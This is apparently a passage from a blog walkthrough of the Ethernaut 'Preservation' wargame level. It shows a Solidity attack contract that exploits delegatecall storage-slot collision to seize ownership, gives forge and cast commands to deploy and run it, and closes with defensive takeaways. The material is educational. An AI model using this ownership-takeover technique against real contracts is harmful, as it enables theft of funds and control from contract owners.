import "../instances/Ilevel16.sol";

contract DelegateHack {

    address public t1;
    address public t2;
    address public owner;
    Preservation level16 = Preservation(0x1E422B805DC5541a09fBbf239D734313B9F42Eca);      

    function exploit() external {
        level16.setFirstTime(uint256(address(this)));
        level16.setFirstTime(uint256(0xEAce4b71CA1A128e8B562561f46896D55B9B0246));
    }

    function setTime(address _owner) public {
        owner = _owner;
    }

}

As mentioned above, we are calling setFirstTime() first with the address of our DelegateHack contract and then again with the address value we want to set as the owner in the Preservation contract.

We are also defining a function with the same name as in the LibraryContract - setTime() because the function signature is constant in setTimeSignature. But our function is taking an address and assigning it to the owner variable in slot 2 which is mapped to the owner variable in the Preservation contract since our slot arrangement is the same. This will set the owner.

Let's deploy the contract using:

forge create DelegateHack --private-key $PKEY --rpc-url $RPC_URL

Now we can call our exploit() function to trigger the exploit and become the new owner:

cast send 0x1e36cAD4732E1EFD5Dd5dAf44C3E4c6f622D93fC "exploit()" --private-key $PKEY --rpc-url $RPC_URL

The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

• Ideally, libraries should not store state.
• When creating libraries, use the keyword library, not contract, to ensure libraries will not modify caller storage data when the caller uses a delegatecall.
• Use higher-level function calls to inherit from libraries, especially when you don’t need to change contract storage and do not care about gas control.